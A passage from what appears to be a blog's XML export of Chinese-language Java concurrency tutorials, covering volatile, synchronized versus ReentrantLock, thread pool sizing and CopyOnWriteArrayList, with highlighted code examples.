class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="场景2：双重检查锁定"><a href="#场景2：双重检查锁定" class="headerlink" title="场景2：双重检查锁定"></a>场景2：双重检查锁定</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Singleton</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="keyword">static</span> Singleton instance;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Singleton <span class="title function_">getInstance</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (instance == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">synchronized</span> (Singleton.class) &#123;</span><br><span class="line">                <span class="keyword">if</span> (instance == <span class="literal">null</span>) &#123;</span><br><span class="line">                    instance = <span class="keyword">new</span> <span class="title class_">Singleton</span>(); <span class="comment">// volatile 防止指令重排序</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> instance;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="场景3：独立观察"><a href="#场景3：独立观察" class="headerlink" title="场景3：独立观察"></a>场景3：独立观察</h2><p>当变量的新值不依赖旧值时，volatile 是安全的：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> configValue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateConfig</span><span class="params">(<span class="type">int</span> newValue)</span> &#123;</span><br><span class="line">    configValue = newValue; <span class="comment">// 安全，不依赖旧值</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>volatile 不是万能的，它只能保证可见性和有序性，不能保证原子性。在使用时一定要想清楚：我的操作是不是单一的读写操作？如果是复合操作，就需要用 synchronized 或原子类。</p><p>写这篇文章时，我特意查了 JMM（Java 内存模型）的相关规范，确保内容准确。并发编程需要严谨，一个小小的误解可能导致线上问题。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>synchronized 和 ReentrantLock 怎么选</title>
      <link href="//synchronized-he-reentrantlock-zen-me-xuan/"/>
      <url>//synchronized-he-reentrantlock-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="synchronized-和-ReentrantLock-怎么选"><a href="#synchronized-和-ReentrantLock-怎么选" class="headerlink" title="synchronized 和 ReentrantLock 怎么选"></a>synchronized 和 ReentrantLock 怎么选</h1><p>synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象</p></li><li><p>锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁</p></li><li><p>锁消除和锁粗化是 JVM 的优化手段</p></li><li><p>synchronized 保证原子性、可见性和有序性</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线程池参数怎么设置才靠谱？我的实战经验总结</title>
      <link href="//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/"/>
      <url>//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/</url>
      
        <content type="html"><![CDATA[<h1 id="线程池参数怎么设置才靠谱？我的实战经验总结"><a href="#线程池参数怎么设置才靠谱？我的实战经验总结" class="headerlink" title="线程池参数怎么设置才靠谱？我的实战经验总结"></a>线程池参数怎么设置才靠谱？我的实战经验总结</h1><p>最近帮同事排查一个线上问题，发现他们的线程池参数设置得不太合理，导致高峰期任务堆积。借此机会整理一下我多年来设置线程池参数的经验。</p><h2 id="先从核心参数说起"><a href="#先从核心参数说起" class="headerlink" title="先从核心参数说起"></a>先从核心参数说起</h2><p>线程池有几个关键参数需要理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">ThreadPoolExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(</span><br><span class="line">    <span class="number">5</span>,      <span class="comment">// corePoolSize：核心线程数</span></span><br><span class="line">    <span class="number">10</span>,     <span class="comment">// maximumPoolSize：最大线程数</span></span><br><span class="line">    <span class="number">60L</span>,    <span class="comment">// keepAliveTime：空闲线程存活时间</span></span><br><span class="line">    TimeUnit.SECONDS,</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">LinkedBlockingQueue</span>&lt;&gt;(<span class="number">100</span>), <span class="comment">// workQueue：任务队列</span></span><br><span class="line">    Executors.defaultThreadFactory(),</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>.CallerRunsPolicy() <span class="comment">// 拒绝策略</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><h2 id="参数设置的核心原则"><a href="#参数设置的核心原则" class="headerlink" title="参数设置的核心原则"></a>参数设置的核心原则</h2><h3 id="1-核心线程数怎么定？"><a href="#1-核心线程数怎么定？" class="headerlink" title="1. 核心线程数怎么定？"></a>1. 核心线程数怎么定？</h3><p>这要看你的任务类型：</p><p><strong>CPU 密集型任务</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// CPU 核心数 + 1 或 CPU 核心数 * 2</span></span><br><span class="line"><span class="type">int</span> <span class="variable">coreSize</span> <span class="operator">=</span> Runtime.getRuntime().availableProcessors() + <span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>这类任务（比如计算、排序）CPU 利用率高，线程数太多反而会增加上下文切换开销。</p><p><strong>IO 密集型任务</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// CPU 核心数 * (1 + IO等待时间 / CPU计算时间)</span></span><br><span class="line"><span class="type">int</span> <span class="variable">coreSize</span> <span class="operator">=</span> Runtime.getRuntime().availableProcessors() * <span class="number">4</span>;</span><br></pre></td></tr></table></figure><p>这类任务（比如数据库操作、网络请求）大部分时间在等待，需要更多线程来利用 CPU。</p><p><strong>混合型任务</strong><br>建议分开处理，用不同的线程池分别处理 CPU 密集和 IO 密集任务。</p><h3 id="2-最大线程数怎么定？"><a href="#2-最大线程数怎么定？" class="headerlink" title="2. 最大线程数怎么定？"></a>2. 最大线程数怎么定？</h3><p>最大线程数 = 核心线程数 + 额外线程数。额外线程数主要应对突发流量。</p><p>我的经验是：<strong>最大线程数 = 核心线程数 * 2</strong>，最多不要超过核心线程数的 4 倍。</p><h3 id="3-队列大小怎么定？"><a href="#3-队列大小怎么定？" class="headerlink" title="3. 队列大小怎么定？"></a>3. 队列大小怎么定？</h3><p>队列大小是个双刃剑：</p><ul><li>太小：容易触发拒绝策略</li><li>太大：任务堆积严重，响应时间变长</li></ul><p>我的建议：<strong>队列大小 = 核心线程数 * 10 ~ 核心线程数 * 50</strong></p><h3 id="4-拒绝策略怎么选？"><a href="#4-拒绝策略怎么选？" class="headerlink" title="4. 拒绝策略怎么选？"></a>4. 拒绝策略怎么选？</h3><p>根据业务场景选择：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// CallerRunsPolicy：调用者线程执行任务（适合不重要的任务）</span></span><br><span class="line"><span class="comment">// AbortPolicy：直接抛出异常（默认，适合关键业务）</span></span><br><span class="line"><span class="comment">// DiscardPolicy：丢弃任务（不推荐）</span></span><br><span class="line"><span class="comment">// DiscardOldestPolicy：丢弃最老的任务（谨慎使用）</span></span><br></pre></td></tr></table></figure><h2 id="我的配置模板"><a href="#我的配置模板" class="headerlink" title="我的配置模板"></a>我的配置模板</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ThreadPoolConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">CPU_CORES</span> <span class="operator">=</span> Runtime.getRuntime().availableProcessors();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// CPU 密集型任务线程池</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> ExecutorService <span class="title function_">cpuExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(</span><br><span class="line">            CPU_CORES,</span><br><span class="line">            CPU_CORES * <span class="number">2</span>,</span><br><span class="line">            <span class="number">60L</span>,</span><br><span class="line">            TimeUnit.SECONDS,</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">LinkedBlockingQueue</span>&lt;&gt;(CPU_CORES * <span class="number">20</span>),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">ThreadFactoryBuilder</span>().setNameFormat(<span class="string">&quot;cpu-pool-%d&quot;</span>).build(),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>.CallerRunsPolicy()</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// IO 密集型任务线程池</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> ExecutorService <span class="title function_">ioExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(</span><br><span class="line">            CPU_CORES * <span class="number">2</span>,</span><br><span class="line">            CPU_CORES * <span class="number">4</span>,</span><br><span class="line">            <span class="number">60L</span>,</span><br><span class="line">            TimeUnit.SECONDS,</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">LinkedBlockingQueue</span>&lt;&gt;(CPU_CORES * <span class="number">50</span>),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">ThreadFactoryBuilder</span>().setNameFormat(<span class="string">&quot;io-pool-%d&quot;</span>).build(),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>.CallerRunsPolicy()</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="一定要监控"><a href="#一定要监控" class="headerlink" title="一定要监控"></a>一定要监控</h2><p>设置好参数只是第一步，还需要监控线程池的状态：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 定期打印线程池状态</span></span><br><span class="line"><span class="type">ScheduledExecutorService</span> <span class="variable">monitor</span> <span class="operator">=</span> Executors.newSingleThreadScheduledExecutor();</span><br><span class="line">monitor.scheduleAtFixedRate(() -&gt; &#123;</span><br><span class="line">    <span class="type">ThreadPoolExecutor</span> <span class="variable">pool</span> <span class="operator">=</span> (ThreadPoolExecutor) executor;</span><br><span class="line">    System.out.println(<span class="string">&quot;活跃线程: &quot;</span> + pool.getActiveCount());</span><br><span class="line">    System.out.println(<span class="string">&quot;队列大小: &quot;</span> + pool.getQueue().size());</span><br><span class="line">    System.out.println(<span class="string">&quot;完成任务: &quot;</span> + pool.getCompletedTaskCount());</span><br><span class="line">&#125;, <span class="number">0</span>, <span class="number">1</span>, TimeUnit.MINUTES);</span><br></pre></td></tr></table></figure><h2 id="常见坑点"><a href="#常见坑点" class="headerlink" title="常见坑点"></a>常见坑点</h2><p><strong>坑1：使用 Executors.newFixedThreadPool()</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 危险！队列是无界的，可能导致 OOM</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">pool</span> <span class="operator">=</span> Executors.newFixedThreadPool(<span class="number">10</span>);</span><br></pre></td></tr></table></figure><p><strong>坑2：核心线程数设为 0</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 这样设置后，所有线程都是临时线程，任务来了需要重新创建</span></span><br><span class="line"><span class="type">ThreadPoolExecutor</span> <span class="variable">pool</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(<span class="number">0</span>, <span class="number">10</span>, ...);</span><br></pre></td></tr></table></figure><p><strong>坑3：忽略拒绝策略</strong><br>默认的 AbortPolicy 会直接抛异常，如果没有异常处理，可能导致请求丢失。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>线程池参数设置没有银弹，需要根据业务场景调整。我的建议是：</p><ol><li>分开 CPU 密集和 IO 密集任务</li><li>从保守配置开始，通过监控逐步优化</li><li>不要忽视拒绝策略和队列大小</li><li>做好监控，及时发现问题</li></ol><p>写这篇文章时，我回顾了之前几个项目的线程池配置，发现随着业务发展，参数确实需要不断调整。没有一成不变的最优配置，只有最适合当前场景的配置。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CopyOnWriteArrayList：读写分离的并发容器</title>
      <link href="//copyonwritearraylist-gua-he-shi-me-chang-jing/"/>
      <url>//copyonwritearraylist-gua-he-shi-me-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="CopyOnWriteArrayList：读写分离的并发容器"><a href="#CopyOnWriteArrayList：读写分离的并发容器" class="headerlink" title="CopyOnWriteArrayList：读写分离的并发容器"></a>CopyOnWriteArrayList：读写分离的并发容器</h1><p>在并发编程中，CopyOnWriteArrayList 是一个很特殊的容器。今天就来聊聊它的实现原理和适用场景。</p><h2 id="核心原理"><a href="#核心原理" class="headerlink" title="核心原理"></a>核心原理</h2><p>CopyOnWriteArrayList 的核心思想是<strong>读写分离</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;E&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="keyword">transient</span> Object[] array;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">add</span><span class="params">(E e)</span> &#123;</span><br><span class="line">        <span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">            <span class="comment">// 获取当前数组</span></span><br><span class="line">            Object[] es = getArray();</span><br><span class="line">            <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> es.length;</span><br><span class="line">            <span class="comment">// 创建新数组，长度+1</span></span><br><span class="line">            es = Arrays.copyOf(es, len + <span class="number">1</span>);</span><br><span class="line">            <span class="comment">// 在新数组中添加元素</span></span><br><span class="line">            es[len] = e;</span><br><span class="line">            <span class="comment">// 替换旧数组</span></span><br><span class="line">            setArray(es);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> E <span class="title function_">get</span><span class="params">(<span class="type">int</span> index)</span> &#123;</span><br><span class="line">        <span class="comment">// 读操作不需要锁</span></span><br><span class="line">        <span class="keyword">return</span> elementAt(getArray(), index);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键特点</strong>：</p><ul><li><strong>写操作</strong>：加锁，复制整个数组，在新数组上操作</li><li><strong>读操作</strong>：不加锁，直接读取</li><li><strong>迭代器</strong>：基于快照，不抛出 ConcurrentModificationException</li></ul><h2 id="使用场景"><a href="#使用场景" class="headerlink" title="使用场景"></a>使用场景</h2><h3 id="场景一：读多写少"><a href="#场景一：读多写少" class="headerlink" title="场景一：读多写少"></a>场景一：读多写少</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 配置列表，初始化后很少修改</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConfigManager</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CopyOnWriteArrayList&lt;String&gt; configs = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addConfig</span><span class="params">(String config)</span> &#123;</span><br><span class="line">        configs.add(config);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">getAllConfigs</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 读操作，不加锁</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(configs);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="场景二：事件监听器"><a href="#场景二：事件监听器" class="headerlink" title="场景二：事件监听器"></a>场景二：事件监听器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EventBus</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CopyOnWriteArrayList&lt;EventListener&gt; listeners = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">registerListener</span><span class="params">(EventListener listener)</span> &#123;</span><br><span class="line">        listeners.add(listener);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">fireEvent</span><span class="params">(Event event)</span> &#123;</span><br><span class="line">        <span class="comment">// 遍历期间可以安全修改</span></span><br><span class="line">        <span class="keyword">for</span> (EventListener listener : listeners) &#123;</span><br><span class="line">            listener.onEvent(event);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="场景三：缓存数据"><a href="#场景三：缓存数据" class="headerlink" title="场景三：缓存数据"></a>场景三：缓存数据</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CopyOnWriteArrayList&lt;CacheEntry&gt; cache = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateCache</span><span class="params">(List&lt;CacheEntry&gt; newEntries)</span> &#123;</span><br><span class="line">        cache.clear();</span><br><span class="line">        cache.addAll(newEntries);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> CacheEntry <span class="title function_">findEntry</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (CacheEntry entry : cache) &#123;</span><br><span class="line">            <span class="keyword">if</span> (entry.getKey().equals(key)) &#123;</span><br><span class="line">                <span class="keyword">return</span> entry;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="不适合的场景"><a href="#不适合的场景" class="headerlink" title="不适合的场景"></a>不适合的场景</h2><h3 id="场景一：写频繁"><a href="#场景一：写频繁" class="headerlink" title="场景一：写频繁"></a>场景一：写频繁</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 不适合：频繁添加会导致大量数组复制</span></span><br><span class="line">CopyOnWriteArrayList&lt;Integer&gt; list = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">100000</span>; i++) &#123;</span><br><span class="line">    list.add(i); <span class="comment">// 每次都要复制数组，性能很差</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="场景二：数据量大"><a href="#场景二：数据量大" class="headerlink" title="场景二：数据量大"></a>场景二：数据量大</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 不适合：数组复制开销太大</span></span><br><span class="line">CopyOnWriteArrayList&lt;BigObject&gt; list = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line"><span class="comment">// 如果 list 有 100 万个元素，每次添加都要复制 100 万个对象</span></span><br></pre></td></tr></table></figure><h3 id="场景三：需要强一致性"><a href="#场景三：需要强一致性" class="headerlink" title="场景三：需要强一致性"></a>场景三：需要强一致性</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 不适合：读操作可能读到旧数据</span></span><br><span class="line">CopyOnWriteArrayList&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;A&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程 1 添加元素</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; list.add(<span class="string">&quot;B&quot;</span>)).start();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程 2 可能仍然读到 [&quot;A&quot;]</span></span><br><span class="line">System.out.println(list);</span><br></pre></td></tr></table></figure><h2 id="与其他并发容器对比"><a href="#与其他并发容器对比" class="headerlink" title="与其他并发容器对比"></a>与其他并发容器对比</h2><table><thead><tr><th>容器</th><th>读写锁</th><th>迭代器</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>CopyOnWriteArrayList</strong></td><td>读不加锁，写加锁</td><td>快照，安全</td><td>读多写少</td></tr><tr><td><strong>ConcurrentLinkedQueue</strong></td><td>无锁</td><td>弱一致性</td><td>高并发读写</td></tr><tr><td><strong>Vector</strong></td><td>同步方法</td><td>快速失败</td><td>兼容旧代码</td></tr><tr><td><strong>Collections.synchronizedList</strong></td><td>同步方法</td><td>快速失败</td><td>简单场景</td></tr></tbody></table><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><h3 id="1-初始化时指定容量"><a href="#1-初始化时指定容量" class="headerlink" title="1. 初始化时指定容量"></a>1. 初始化时指定容量</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 如果知道大致大小，避免多次扩容</span></span><br><span class="line">CopyOnWriteArrayList&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line"><span class="comment">// 但注意：CopyOnWriteArrayList 没有带初始容量的构造函数</span></span><br></pre></td></tr></table></figure><h3 id="2-批量操作"><a href="#2-批量操作" class="headerlink" title="2. 批量操作"></a>2. 批量操作</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ✅ 批量添加，减少复制次数</span></span><br><span class="line">List&lt;String&gt; items = Arrays.asList(<span class="string">&quot;A&quot;</span>, <span class="string">&quot;B&quot;</span>, <span class="string">&quot;C&quot;</span>);</span><br><span class="line">list.addAll(items);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ❌ 逐个添加，每次都复制</span></span><br><span class="line">list.add(<span class="string">&quot;A&quot;</span>);</span><br><span class="line">list.add(<span class="string">&quot;B&quot;</span>);</span><br><span class="line">list.add(<span class="string">&quot;C&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="3-谨慎使用迭代器"><a href="#3-谨慎使用迭代器" class="headerlink" title="3. 谨慎使用迭代器"></a>3. 谨慎使用迭代器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 迭代器基于快照，不会反映后续修改</span></span><br><span class="line">Iterator&lt;String&gt; iterator = list.iterator();</span><br><span class="line">list.add(<span class="string">&quot;D&quot;</span>); <span class="comment">// 在迭代期间添加</span></span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    System.out.println(iterator.next()); <span class="comment">// 不会打印 D</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>CopyOnWriteArrayList 是一个特殊的并发容器：</p><ul><li><strong>优点</strong>：读操作无锁，性能高；迭代安全</li><li><strong>缺点</strong>：写操作开销大，内存占用高</li><li><strong>适用场景</strong>：读多写少、数据量不大、可以容忍最终一致性</li></ul><p>写这篇文章时，我特意做了几个性能测试。CopyOnWriteArrayList 在写操作频繁时性能确实很差，但在读多写少的场景下表现很好。选择容器时一定要根据业务场景来决定。</p>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LinkedHashMap 如何实现 LRU 缓存</title>
      <link href="//linkedhashmap-ru-he-shi-xian-lru-huan-cun/"/>
      <url>//linkedhashmap-ru-he-shi-xian-lru-huan-cun/</url>
      
